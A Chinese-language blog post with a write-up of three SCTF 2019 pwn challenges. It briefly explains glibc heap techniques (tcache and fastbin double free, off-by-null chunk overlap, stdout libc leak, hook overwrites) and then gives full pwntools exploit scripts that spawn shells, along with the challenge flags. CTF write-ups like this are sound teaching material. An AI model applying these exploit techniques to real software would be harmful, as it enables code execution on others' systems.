Sunichi's Blog

sunichi@DUBHE | Linux & Pwn & Fuzz

0%

SCTF 2019 pwn writeup

比赛和考试连轴转,都没时间写博客了,先把SCTF 2019的补上。

one_heap

Tcache Double Free来获取Unsorted Bin,将count变为0xff后再释放即可获得0x90大小的Unsorted Bin。接着利用堆块重叠爆破到stdout泄漏libc地址和拿到hook的空间来getshell。直接通过__malloc_hook还无法getshell,因此利用__realloc_hook来满足one_gadget的条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux')
context.terminal = ['tmux','split','-h']
debug = 0
libc = ELF('./libc-2.27.so')

def New(p, size,content):
p.recvuntil('Your choice:')
p.sendline('1')
p.recvuntil('Input the size:')
p.sendline(str(size))
p.recvuntil('Input the content:')
p.send(content)

def Delete(p):
p.recvuntil('Your choice:')
p.sendline('2')

def exp():
p = remote('47.104.89.129', 10001)
New(p, 0x7f,'\n') #0
New(p, 0x7f,'\n') #1
Delete(p)
Delete(p)
New(p, 0x2f, p64(0) * 4 + p64(0x90) + '\x20' + '\n') #2
Delete(p)

New(p, 0x7f,'\n') #3
New(p, 0x7f,'\n') #4
New(p, 0x7f,'\n') #5
Delete(p)

New(p, 0x20,'\x60\x07\xdd'+'\n') #6

New(p, 0x7f, p64(0) * 5 + p64(0x91) + '\n') #7
New(p, 0x7f,p64(0xfbad1800)+p64(0)*3+'\x00'+'\n') #8

#libc
try:
p.recvn(8)
except Exception as identifier:
p.close()
return

leak_addr = u64(p.recvn(6).ljust(8,'\x00'))
libc_base = leak_addr - (0x7ffff7dd18b0-0x00007ffff79e4000)
print "libc_base:",hex(libc_base)
New(p, 0x68, p64(0) * 11 + p64(0x41) + p64(libc.symbols['__realloc_hook'] + libc_base))

New(p, 0x38, '\n')
one_gadget = 0x10a38c
New(p, 0x38, p64(libc_base+one_gadget)+p64(libc_base+libc.symbols['realloc']+4) + '\n')
# gdb.attach(p)

New(p, 0x50,'eeee\n')
p.sendline('cat flag')
print p.recvline()
p.sendline('cat /flag') #sctf{TCAch3_So000o0o_3asY}
print p.recvline()
p.interactive()

while 1:
exp()

two_heap

非预期解。

利用%a泄漏libc地址(xmm),然后Tcache Double Free修改__free_hook来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

def add(p, size, content):
p.sendlineafter('Your choice:', '1')
p.sendlineafter('Input the size:\n', str(size))
if size != len(content):
p.sendlineafter('Input the note:\n', content)
else:
p.sendafter('Input the note:\n', content)


def delete(p, idx):
p.sendlineafter('Your choice:', '2')
p.sendlineafter('Input the index:\n', str(idx))


def pwn():
DEBUG = 0

p = remote('47.104.89.129', 10002)
libc = ELF('./libc-2.26.so')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

p.sendlineafter('Welcome to SCTF:\n', '%a%2$a%3$a')
p.recvuntil('00x0.0')
recv = '0x' + p.recvuntil('p', drop=True) + '0'
recv = int(recv, 16)
libc.address = recv - (0x7fb4fcb49720 - 0x00007fb4fc99a000)

add(p, 0x0, '')
delete(p, 0)
delete(p, 0)
add(p, 0x8, p64(libc.symbols['__free_hook']))
add(p, 0x10, 'sunichi')
add(p, 0x18, p64(libc.symbols['system']))
add(p, 0x30, '/bin/sh\x00')
delete(p, 4)

print 'libc:' + hex(libc.address)
if DEBUG == 1:
gdb.attach(p)
# sctf{10338cd036cf633f9c8e888306370403}
p.interactive()
p.close()


if __name__ == '__main__':
pwn()

easy_heap

off-by-null漏洞制造堆块重叠,然后利用fastbin爆破分配到stdout来泄漏libc地址,最后利用fastbin double free修改__malloc_hook来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *

def add(p, size):
p.sendlineafter('>> ', str(1))
p.sendlineafter('Size: ', str(size))
p.recvuntil('Pointer Address ')
recv = p.recvuntil('\n', drop=True)
return int(recv, 16)


def delete(p, idx):
p.sendlineafter('>> ', str(2))
p.sendlineafter('Index: ', str(idx))


def fill(p, idx, content):
p.sendlineafter('>> ', str(3))
p.sendlineafter('Index: ', str(idx))
p.sendafter('Content: ', content)


def pwn():
DEBUG = 0
if DEBUG == 1:
p = process('./easy_heap')
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
else:
p = remote('132.232.100.67', 10004)
libc = ELF('./libc.so.6')
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']

p.recvuntil('Mmap: ')
recv = p.recvuntil('\n', drop=True)
mmap_addr = int(recv, 16)

add(p, 0xf8) #0
add(p, 0x68) #1
add(p, 0xf8) #2
add(p, 0x68) #3


payload = p64(0) * 12 + p64(0x170)
delete(p, 0) #0
fill(p, 1, payload)
delete(p, 2) #2
delete(p, 1) #1

add(p, 0xf8) #0
delete(p, 0)
add(p, 0xc8) #0
add(p, 0x88) #1
payload = p64(0) * 5 + p64(0x71) + p64(0x25dd)[:2] + '\n'
fill(p, 1, payload)
add(p, 0x68) #2
add(p, 0x68) #4
payload = '\x00' * 3 + p64(0) * 6 + p64(0xfbad1800) + p64(0) * 3 + '\x00' + '\n'
fill(p, 4, payload)
p.recvuntil(p64(0xfbad1800) + p64(0) * 3)
recv = p.recv(8)
libc.address = u64(recv) - (0x7ffff7dd2600 - 0x00007ffff7a0d000)
delete(p, 1) #1
add(p, 0x20) #1
add(p, 0x68) #5
delete(p, 2)
delete(p, 3)
delete(p, 5)

add(p, 0x68) #2
fill(p, 2, p64(libc.symbols['__malloc_hook'] - 0x13) + '\n')
add(p, 0x68) #3
add(p, 0x68) #5
add(p, 0x68) #6
payload = '\x00\x00\x00' + p64(libc.address + 0xf02a4) + '\n'
fill(p, 6, payload)
delete(p, 2)
delete(p, 5)
print 'libc:' + hex(libc.address)

if DEBUG == 1:
gdb.attach(p)

p.interactive() #sctf{4110c_D3l37_Fi11_r3pe7}
p.close()


if __name__ == '__main__':
pwn()